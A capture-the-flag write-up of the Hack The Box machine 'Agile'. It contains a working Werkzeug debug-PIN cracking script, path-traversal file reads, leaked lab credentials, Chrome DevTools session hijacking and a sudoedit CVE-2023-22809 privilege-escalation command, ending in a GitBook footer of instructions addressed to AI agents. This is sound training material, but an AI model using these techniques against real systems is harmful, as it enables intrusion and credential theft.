> For the complete documentation index, see [llms.txt](https://ajaykumar-kanthi.gitbook.io/write-ups/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://ajaykumar-kanthi.gitbook.io/write-ups/ippsec-unofficial-cpts-prep/htb-agile.md).

# HTB - Agile

#### NMAP

```bash
PORT   STATE SERVICE VERSION
22/tcp open  ssh     OpenSSH 8.9p1 Ubuntu 3ubuntu0.1 (Ubuntu Linux; protocol 2.0)
80/tcp open  http    nginx 1.18.0 (Ubuntu)
```

## HTTP - 80

<figure><img src="https://3740518612-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FOH84nxPA0OhkjhNX692h%2Fuploads%2FHBUdhnYnMpJkyeV3G0C0%2Fimage.png?alt=media&amp;token=123756ca-3893-46f5-80f6-bdd17ac2b594" alt=""><figcaption></figcaption></figure>

Domain Name: `superpass.htb`&#x20;

Navigating to `http://superpass.htb` reveals a password manager web application called **SuperPass**. The site has a login and register page. Default credentials like `admin:admin` do not work, so register a new account.

<figure><img src="https://3740518612-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FOH84nxPA0OhkjhNX692h%2Fuploads%2FVVVKSXcTdiXOQWJPZyHT%2Fimage.png?alt=media&amp;token=43b1c3a9-5902-41f2-acf7-13ca298fa108" alt=""><figcaption></figcaption></figure>

<figure><img src="https://3740518612-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FOH84nxPA0OhkjhNX692h%2Fuploads%2FatUqmyetdOyNeR3GWJRp%2Fimage.png?alt=media&amp;token=cc903eb5-523a-4427-8fe5-da3df7ffaebb" alt=""><figcaption></figcaption></figure>

<figure><img src="https://3740518612-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FOH84nxPA0OhkjhNX692h%2Fuploads%2FVCNi5dlfAQbsT4so5tsF%2Fimage.png?alt=media&amp;token=1094ebb0-acb9-49ed-9cca-85b1e762a050" alt=""><figcaption></figcaption></figure>

After logging in the app is a vault where passwords can be stored for any site by specifying a username and site name. Once passwords are added, the app allows exporting them — this sends a GET request with a `fn` parameter:

<figure><img src="https://3740518612-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FOH84nxPA0OhkjhNX692h%2Fuploads%2Fp1KTP6RU126khAR6ReSQ%2Fimage.png?alt=media&amp;token=f7461a49-c066-41f4-a5cd-893a2962764b" alt=""><figcaption></figcaption></figure>

<figure><img src="https://3740518612-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FOH84nxPA0OhkjhNX692h%2Fuploads%2FJaXiix9xVhAeNmpgTJna%2Fimage.png?alt=media&amp;token=6a6d1073-0914-41cf-b981-02d30efb47ae" alt=""><figcaption></figcaption></figure>

<figure><img src="https://3740518612-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FOH84nxPA0OhkjhNX692h%2Fuploads%2FEBxVU7w4uRB2JfIVAqMh%2Fimage.png?alt=media&amp;token=bdedf8d2-79c0-4166-b287-123a6a0eb39e" alt=""><figcaption></figcaption></figure>

The `fn` parameter is used directly to fetch a file from the `/tmp` directory on the server.. This is a classic indicator of a potential Path Traversal vulnerability.

### Path Traversal

Testing the `fn` parameter with a directory confirms a path traversal vulnerability:

<figure><img src="https://3740518612-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FOH84nxPA0OhkjhNX692h%2Fuploads%2FGCcFAA8JPdl5df8CajBM%2Fimage.png?alt=media&amp;token=42cfe1da-f1d9-4c22-818b-ff24dc4e26cf" alt=""><figcaption></figcaption></figure>

This error also exposes that the app is running Flask with the **Werkzeug debugger enabled in production**, and critically leaks the debugger **SECRET** in the HTML response:

```bash
var CONSOLE_MODE = false,
    EVALEX = true,
    EVALEX_TRUSTED = false,
    SECRET = "cgNUCndWm6k77LgnpoDO";
```

<figure><img src="https://3740518612-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FOH84nxPA0OhkjhNX692h%2Fuploads%2FKBRMBhGgdnMIf9zDzrOk%2Fimage.png?alt=media&amp;token=12330f4d-9053-42a9-b03f-1cb7f9cc8e3f" alt=""><figcaption></figcaption></figure>

<figure><img src="https://3740518612-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FOH84nxPA0OhkjhNX692h%2Fuploads%2F32zgOLzyM3oIyLOFnbuR%2Fimage.png?alt=media&amp;token=fd88dcdd-a2b5-4f6e-a981-2dbfd4f5c51c" alt=""><figcaption></figcaption></figure>

`EVALEX = true` means the **interactive Python console is enabled** in production. With the `SECRET`, you can forge a trusted debugger session and get **RCE**.

but the console is locked and we need a pin to access the console.

### Cracking Werkzeug Pin

{% embed url="<https://github.com/H3llKa1ser/B00t2R00t/blob/main/Web%20Application%20Penetration%20Testing/Python%20Werkzeug%20PIN%20Exploit.md>" %}

{% embed url="<https://github.com/ahrixia/flask-console-pin-generator/blob/main/README.md>" %}

he above repo explains clearly on how to exploit the instance to crack the pin.

The Werkzeug PIN is derived from:

* Username running the app
* Flask app module name
* MAC address (`/sys/class/net/*/address`)
* Machine ID (`/etc/machine-id` or `/proc/sys/kernel/random/boot_id`)
* HASHING ALGORITHM BEING USED.

<figure><img src="https://3740518612-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FOH84nxPA0OhkjhNX692h%2Fuploads%2F13RBBwFertqcur7eJiwf%2Fimage.png?alt=media&amp;token=484be49e-942e-44c3-b026-8b487090e14f" alt=""><figcaption></figcaption></figure>

uid 33 : www-data(username) when mapped with /etc/passwd

<figure><img src="https://3740518612-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FOH84nxPA0OhkjhNX692h%2Fuploads%2FsbsMWutoc1YWrLGUyMvA%2Fimage.png?alt=media&amp;token=3798062d-2ea9-41c4-919f-c7da194f55ae" alt=""><figcaption></figcaption></figure>

Machine Id - `ed5b159560f54721827644bc9b220d00`&#x20;

<figure><img src="https://3740518612-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FOH84nxPA0OhkjhNX692h%2Fuploads%2FPSaNkhKPkxwlXpIZHqnn%2Fimage.png?alt=media&amp;token=a921ec26-4b86-4db8-a699-05930072937a" alt=""><figcaption></figcaption></figure>

Mac Address : `a2:de:ad:69:6c:5a`&#x20;

convert the mac into integer form for exploiting

<figure><img src="https://3740518612-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FOH84nxPA0OhkjhNX692h%2Fuploads%2Fk1YsZqhuGJPtaJBy6oje%2Fimage.png?alt=media&amp;token=69200757-d935-4815-83ee-c0606acac6bd" alt=""><figcaption></figcaption></figure>

<figure><img src="https://3740518612-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FOH84nxPA0OhkjhNX692h%2Fuploads%2FzIzVu8kieRKzu8K23yzh%2Fimage.png?alt=media&amp;token=4027df1f-26dd-4f72-a2a9-3cbf4bff26ac" alt=""><figcaption></figcaption></figure>

All bits are fed into SHA1 one by one (empty bits skipped), then cookiesalt is appended once at the end.

<figure><img src="https://3740518612-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FOH84nxPA0OhkjhNX692h%2Fuploads%2FIfurlG1iQRWv8YuSKZWW%2Fimage.png?alt=media&amp;token=b0c6da62-df8e-46e4-9cdc-207e4eae7387" alt=""><figcaption></figcaption></figure>

`ExecStart: gunicorn wsgi:app`\
&#x20;`WorkingDirectory: /app/app/`

<figure><img src="https://3740518612-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FOH84nxPA0OhkjhNX692h%2Fuploads%2Fni2WQqUFsucF1c4OSvvn%2Fimage.png?alt=media&amp;token=c9d38bf0-ae37-44cb-82ef-6dde6dd954b9" alt=""><figcaption></figcaption></figure>

enable\_debug() is called.

`DebuggedApplication` receives `app.wsgi_app` which is a **bound method**, not the Flask class instance.

<figure><img src="https://3740518612-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FOH84nxPA0OhkjhNX692h%2Fuploads%2FFtQngG49J5PWs72Y2vaj%2Fimage.png?alt=media&amp;token=64a20a6d-0d71-42fe-ae5e-97c9d875f892" alt=""><figcaption></figcaption></figure>

wsgi\_app is the app

Now, i have used claude to create me a custome python script that can help me crack the pin.

```python
import hashlib
from itertools import chain

# =========================================================
# Werkzeug Debug PIN Cracker - SuperPass HTB
# =========================================================
# Files read via LFI to get these values:
#
# username    <- /proc/self/status (Uid) + /etc/passwd
# app_path    <- /app/app/superpass/app.py (enable_debug call)
#               + werkzeug/debug/__init__.py (algorithm)
# mac_address <- /sys/class/net/eth0/address
# machine_id  <- /etc/machine-id + /proc/self/cgroup
# =========================================================

# ---- PUBLIC BITS ----------------------------------------

# /proc/self/status -> Uid: 33 -> /etc/passwd -> www-data
username = "www-data"

# app.wsgi_app is a bound method -> __module__ = "flask.app"
modname = "flask.app"

# app.wsgi_app is a bound method -> __name__  = "wsgi_app" (NOT "Flask"!)
# This is the key insight: DebuggedApplication(app.wsgi_app, True)
# receives a bound method, not the Flask class instance
appname = "wsgi_app"

# sys.modules["flask.app"].__file__
app_path = "/app/venv/lib/python3.10/site-packages/flask/app.py"

# ---- PRIVATE BITS ---------------------------------------

# /sys/class/net/eth0/address -> a2:de:ad:69:6c:5a
# converted to integer via: int("a2dead696c5a", 16)
mac_address = int("a2:de:ad:69:6c:5a".replace(":", ""), 16)  # 179077275806810

# /etc/machine-id  ->  ed5b159560f54721827644bc9b220d00
# /proc/self/cgroup -> 0::/system.slice/superpass.service
#                      rpartition("/")[2] = "superpass.service"
# machine_id = machine-id bytes + cgroup suffix (no separator)
machine_id = b"ed5b159560f54721827644bc9b220d00" + b"superpass.service"

# ---- HASH (exact algorithm from werkzeug/debug/__init__.py) -------------

probably_public_bits = [username, modname, appname, app_path]
private_bits         = [str(mac_address), machine_id]

h = hashlib.sha1()
for bit in chain(probably_public_bits, private_bits):
    if not bit:
        continue                        # skip None / empty values
    if isinstance(bit, str):
        bit = bit.encode("utf-8")
    h.update(bit)
h.update(b"cookiesalt")                 # added ONCE after all bits

cookie_name = f"__wzd{h.hexdigest()[:20]}"

# ---- PIN GENERATION -------------------------------------

h.update(b"pinsalt")
num = f"{int(h.hexdigest(), 16):09d}"[:9]

for group_size in 5, 4, 3:
    if len(num) % group_size == 0:
        pin = "-".join(
            num[x:x + group_size].rjust(group_size, "0")
            for x in range(0, len(num), group_size)
        )
        break

print(f"PIN:         {pin}")
print(f"Cookie name: {cookie_name}")
```

<figure><img src="https://3740518612-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FOH84nxPA0OhkjhNX692h%2Fuploads%2FoRhHpGihkYHBvCgJE9ry%2Fimage.png?alt=media&amp;token=d5b645c5-2b88-4b96-aa3d-5dd4fb5da22e" alt=""><figcaption></figcaption></figure>

<figure><img src="https://3740518612-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FOH84nxPA0OhkjhNX692h%2Fuploads%2FMmdBzC6QhYBkCOg70nuT%2Fimage.png?alt=media&amp;token=89e8524c-d793-49b2-bd26-44d8e1cd1f98" alt=""><figcaption></figcaption></figure>

<figure><img src="https://3740518612-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FOH84nxPA0OhkjhNX692h%2Fuploads%2F4C2RKdAPMNPIp5umISkD%2Fimage.png?alt=media&amp;token=3c5f7c67-9667-42a7-aab2-1c377d81b1a7" alt=""><figcaption></figcaption></figure>

RCE is confirmed...!!!!

## Shell as www-data

<figure><img src="https://3740518612-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FOH84nxPA0OhkjhNX692h%2Fuploads%2F310Qz6X3hLwQt9w3dws3%2Fimage.png?alt=media&amp;token=d19e5657-d78d-4c35-8f4d-e021f6a13444" alt=""><figcaption></figcaption></figure>

<figure><img src="https://3740518612-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FOH84nxPA0OhkjhNX692h%2Fuploads%2FZEbo7gVCZHsoe0GepdU2%2Fimage.png?alt=media&amp;token=94230845-8651-4907-b059-cf0fe76632bf" alt=""><figcaption></figcaption></figure>

Next, get an interactive shell.

<figure><img src="https://3740518612-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FOH84nxPA0OhkjhNX692h%2Fuploads%2FcF4YlfjYmYwgxxBVQ1zC%2Fimage.png?alt=media&amp;token=0957c548-f6b4-4561-b6c0-75f78cbb2a15" alt=""><figcaption></figcaption></figure>

```bash
(venv) www-data@agile:/app/app/superpass$ cat /app/config_prod.json
cat /app/config_prod.json
{"SQL_URI": "mysql+pymysql://superpassuser:dSA6l7q*yIVs$39Ml6ywvgK@localhost/superpass"}(venv) www-data@agile:/app/app/superpass$
```

The config\_prod.json file leaked an username and password of mysql server.

* **Database Type:** MySQL
* **Driver:** `pymysql`
* **Host:** `localhost`
* **Database Name:** `superpass`
* **Username:** `superpassuser`
* **Password:** `dSA6l7q*yIVs$39Ml6ywvgK`

### Accessing Mysql Server

<figure><img src="https://3740518612-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FOH84nxPA0OhkjhNX692h%2Fuploads%2FI5RPZ9sF42VsDQG3oTrh%2Fimage.png?alt=media&amp;token=ee0f5531-c2b8-42b4-b3c8-f7d68dcf5d3e" alt=""><figcaption></figcaption></figure>

<figure><img src="https://3740518612-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FOH84nxPA0OhkjhNX692h%2Fuploads%2FFW9FKbTUSZclpnlj5zFd%2Fimage.png?alt=media&amp;token=2224bed1-78d4-4b79-a50f-b78a426f4999" alt=""><figcaption></figcaption></figure>

## Shell as Corum

SSH is running on the machine so i can use the creds of corum to get a shell.

<figure><img src="https://3740518612-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FOH84nxPA0OhkjhNX692h%2Fuploads%2F1vMHuINW17T2WKbHTG31%2Fimage.png?alt=media&amp;token=8be60351-b9a5-4d23-917c-16732eddb92c" alt=""><figcaption></figcaption></figure>

<figure><img src="https://3740518612-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FOH84nxPA0OhkjhNX692h%2Fuploads%2FTi5rWPSDfSFFuSzhe291%2Fimage.png?alt=media&amp;token=55874f36-8d09-498a-8891-6ec028d11f98" alt=""><figcaption></figcaption></figure>

This script, `test_and_update.sh`, is an automated synchronization mechanism designed to deploy updates from the `app-testing` directory to the `app` (production) directory based on successful automated test results.

```bash
corum@agile:/app$ ls
app  app-testing  config_prod.json  config_test.json  test_and_update.sh  venv
corum@agile:/app$ cat test_and_update.sh 
#!/bin/bash

# update prod with latest from testing constantly assuming tests are passing

echo "Starting test_and_update"
date

# if already running, exit
ps auxww | grep -v "grep" | grep -q "pytest" && exit

echo "Not already running. Starting..."

# start in dev folder
cd /app/app-testing

# system-wide source doesn't seem to happen in cron jobs
source /app/venv/bin/activate

# run tests, exit if failure
pytest -x 2>&1 >/dev/null || exit

# tests good, update prod (flask debug mode will load it instantly)
cp -r superpass /app/app/
echo "Complete!"
corum@agile:/app$ // Some code
```

<figure><img src="https://3740518612-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FOH84nxPA0OhkjhNX692h%2Fuploads%2FfDKEjAKzih0kHln2pZRP%2Fimage.png?alt=media&amp;token=c1ff1b24-99eb-4414-b161-77e45ef164eb" alt=""><figcaption></figcaption></figure>

The script is executed by `runner` and sources `/app/venv/bin/activate`. It runs pytest using Chrome/Selenium — check the functional test directory:

<figure><img src="https://3740518612-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FOH84nxPA0OhkjhNX692h%2Fuploads%2Fn6iN8bUegsSjdlPIFsDN%2Fimage.png?alt=media&amp;token=0cd2356c-3e1f-409b-b6ad-c410cafaa3fa" alt=""><figcaption></figcaption></figure>

The test script reads credentials from `creds.txt` and logs into the test app running on **port 5555**. Chrome DevTools is exposed on **port 41829**.

<figure><img src="https://3740518612-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FOH84nxPA0OhkjhNX692h%2Fuploads%2Fq9S1kQLBryViLdSJkLHl%2Fimage.png?alt=media&amp;token=1bf0a95b-a53c-40d7-9bbe-04b967bc1163" alt=""><figcaption></figcaption></figure>

<figure><img src="https://3740518612-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FOH84nxPA0OhkjhNX692h%2Fuploads%2FgeByfzYI7Nc0172jrXiM%2Fimage.png?alt=media&amp;token=c6a7e276-4b32-45eb-a805-f4f47fa50ce7" alt=""><figcaption></figcaption></figure>

pytest is using chrome to test the application interactively.

```bash
with open('/app/app-testing/tests/functional/creds.txt', 'r') as f:
    username, password = f.read().strip().split(':')
```

The browser logs into the test application using credentials from creds.txt.

<figure><img src="https://3740518612-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FOH84nxPA0OhkjhNX692h%2Fuploads%2FpfJJ8caySs0ke9rrx4qz%2Fimage.png?alt=media&amp;token=aa382bd8-c8e1-434c-ab3b-335e8794efe6" alt=""><figcaption></figcaption></figure>

That means the automated Chrome instance used by the test suite exposes the Chrome DevTools Protocol on localhost.

With the test application running on port 5555 and the debugging port is 41829 and also ssh access

i can  use ssh port forwarding to access the test site from my attack machine locally to inspect it.

### SSH Port Forwarding

Since the application can be debugged on port 41829, i can access locally by port forwarding and inspect the application by using chromium.

In your local Chrome browser navigate to `chrome://inspect`, click **Configure**, and add `127.0.0.1:41829`. Click **Inspect** to open DevTools on the already-authenticated test browser session.

In the DevTools **Application** tab, inspect cookies and session tokens. The browser is logged in as `edwards` in the test app — navigate to the vault on port 5555 using those cookies to retrieve edwards' stored password.

Below is the detailed process.

<figure><img src="https://3740518612-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FOH84nxPA0OhkjhNX692h%2Fuploads%2F0pWJ17JdyIcUObSw5TKo%2Fimage.png?alt=media&amp;token=ff4d1841-72b6-4296-a917-8b1f56b2d662" alt=""><figcaption></figcaption></figure>

<figure><img src="https://3740518612-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FOH84nxPA0OhkjhNX692h%2Fuploads%2FfBlAiSFYcJsuZvTVYA8z%2Fimage.png?alt=media&amp;token=44156b95-9274-4f8d-92d5-dcddfcd368d0" alt=""><figcaption></figcaption></figure>

go to chrome://inspect and click configure and add 127.0.0.1:41829

<figure><img src="https://3740518612-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FOH84nxPA0OhkjhNX692h%2Fuploads%2Fhin9GR4Cdl8BaDvELrUc%2Fimage.png?alt=media&amp;token=19d63cf5-dfbc-457c-96cd-871a31c620be" alt=""><figcaption></figcaption></figure>

click inspect.

<figure><img src="https://3740518612-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FOH84nxPA0OhkjhNX692h%2Fuploads%2FIA6aYoq5SuIKB4MoFGxF%2Fimage.png?alt=media&amp;token=7bd6965c-5f36-4dd8-805d-861f9ced92b3" alt=""><figcaption></figcaption></figure>

The application has token and session cookie of a user set.&#x20;

accessing the vault returns localhost error

* **5555** appears to be the test web application.
* **41829** is the Chrome DevTools endpoint used by Selenium. DevTools lets you interact with the **already authenticated browser session**.

Since the application is running on port 5555 i can ssh forward it and connect to vault using the token and cookie.

<figure><img src="https://3740518612-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FOH84nxPA0OhkjhNX692h%2Fuploads%2FbqRZfMSaErWqssvfcZF1%2Fimage.png?alt=media&amp;token=98b48f14-d81e-4fd5-b49f-5972dd32f9cb" alt=""><figcaption></figcaption></figure>

<figure><img src="https://3740518612-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FOH84nxPA0OhkjhNX692h%2Fuploads%2FgSFx6liOWpfCqxqoYQ4T%2Fimage.png?alt=media&amp;token=0ffcd241-035f-4421-899e-267893c4629b" alt=""><figcaption></figcaption></figure>

<figure><img src="https://3740518612-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FOH84nxPA0OhkjhNX692h%2Fuploads%2F4AnfUmd7vlKZzumbTvO0%2Fimage.png?alt=media&amp;token=c35b1394-37f3-4102-9a1b-5136f18a1394" alt=""><figcaption></figcaption></figure>

found password for edwards agile account : `d07867c6267dcb5df0af`&#x20;

## Shell as Edwards

Using the creds found on the vault i can get access through ssh.

<figure><img src="https://3740518612-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FOH84nxPA0OhkjhNX692h%2Fuploads%2FnpDoECfRBhukzb8iR2JX%2Fimage.png?alt=media&amp;token=9193ca7d-23fa-4ff6-8f5e-f8352436beaf" alt=""><figcaption></figcaption></figure>

```bash
edwards@agile:~$ sudo -l
Matching Defaults entries for edwards on agile:
    env_reset, mail_badpass, secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin\:/snap/bin, use_pty

User edwards may run the following commands on agile:
    (dev_admin : dev_admin) sudoedit /app/config_test.json
    (dev_admin : dev_admin) sudoedit /app/app-testing/tests/functional/creds.txt
```

```bash
edwards@agile:~$ sudo --version
Sudo version 1.9.9
Sudoers policy plugin version 1.9.9
Sudoers file grammar version 48
Sudoers I/O plugin version 1.9.9
Sudoers audit plugin version 1.9.9
```

```bash
edwards@agile:~$ sudo -u dev_admin sudoedit /app/app-testing/tests/functional/creds.txt
```

<figure><img src="https://3740518612-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FOH84nxPA0OhkjhNX692h%2Fuploads%2FRae3uwyBafyB8L8sieb9%2Fimage.png?alt=media&amp;token=90e4ff3d-e43e-4e16-bc29-bd2aba55ba94" alt=""><figcaption></figcaption></figure>

```bash
edwards@agile:~$ sudo -u dev_admin sudoedit /app/config_test.json
```

<figure><img src="https://3740518612-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FOH84nxPA0OhkjhNX692h%2Fuploads%2FAVJFl8VrOqCpY5eWWJwS%2Fimage.png?alt=media&amp;token=87f80990-8f27-4fb6-872c-ee9cf54f8faa" alt=""><figcaption></figcaption></figure>

We can access the files as user dev\_admin.

By a quick google search found that the sudo version 1.9.9 is vulnerable to a privilege escalation vulnerability by using the sudoedit.

## Shell as Root

### Exploiting sudo 1.9.9

* CVE-2023-22809 is a privilege escalation vulnerability in the `sudoedit` feature. It occurs when `sudoedit` mishandles arguments passed via environment variables (`EDITOR`, `VISUAL`, `SUDO_EDITOR`). By crafting an editor command that includes the `-` separator (e.g., `EDITOR='vim -- /path/to/secret/file'`), an attacker could trick `sudoedit` into opening files they were not authorized to edit. This vulnerability affects Sudo versions **1.8.0 through 1.9.12p1**.

<figure><img src="https://3740518612-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FOH84nxPA0OhkjhNX692h%2Fuploads%2F6Hbvwdvtma9nYRgBe8eF%2Fimage.png?alt=media&amp;token=2159e8ed-9fdf-4b6c-946c-69ffc0b565d3" alt=""><figcaption></figcaption></figure>

dev\_admin is part of the group /app/venv/bin/activate

`test_and_update.sh` is executed by root and sources the venv activate script.

<figure><img src="https://3740518612-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FOH84nxPA0OhkjhNX692h%2Fuploads%2F3vKTFny2PIqV8ps1lkE8%2Fimage.png?alt=media&amp;token=b4d0c909-790a-4a30-a5f0-0b454db69092" alt=""><figcaption></figcaption></figure>

`dev_admin` owns `/app/venv` (confirmed with `ls -l /app`):

Once we inject our payload into `activate` via the sudoedit exploit, when root runs `test_and_update.sh` it sources `activate` and executes our reverse shell.

```bash
edwards@agile:~$ EDITOR='vim -- /app/venv/bin/activate' sudoedit -u dev_admin /app/config_test.json 
sudoedit: --: Permission denied
2 files to edit
sudoedit: /app/config_test.json unchanged
```

<figure><img src="https://3740518612-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FOH84nxPA0OhkjhNX692h%2Fuploads%2Fui4l971ebggUV4Qqr12B%2Fimage.png?alt=media&amp;token=8d46e80c-f701-4bee-adba-1105e8746050" alt=""><figcaption></figcaption></figure>

<figure><img src="https://3740518612-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FOH84nxPA0OhkjhNX692h%2Fuploads%2FpHDITHMC4y5F2yTVS78t%2Fimage.png?alt=media&amp;token=f23b5547-c751-4e0a-8ee7-1704328642b5" alt=""><figcaption></figcaption></figure>


---

# Agent Instructions
This documentation is published with GitBook. GitBook is the documentation platform designed so that both humans and AI agents can read, navigate, and reason over technical content effectively. Learn more at gitbook.com.

## Querying This Documentation
If you need additional information that is not directly available in this page, you can query the documentation dynamically by asking a question.

Perform an HTTP GET request on the current page URL with the `ask` query parameter, and the optional `goal` query parameter:

```
GET https://ajaykumar-kanthi.gitbook.io/write-ups/ippsec-unofficial-cpts-prep/htb-agile.md?ask=<question>&goal=<endgoal>
```

`ask` is the immediate question: it should be specific, self-contained, and written in natural language.
`goal` is optional and describes the broader end goal you are ultimately trying to accomplish on behalf of the user. GitBook uses it to tailor the answer towards what is most useful for that goal.

The response will contain a direct answer to the question and relevant excerpts and sources from the documentation.

Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.
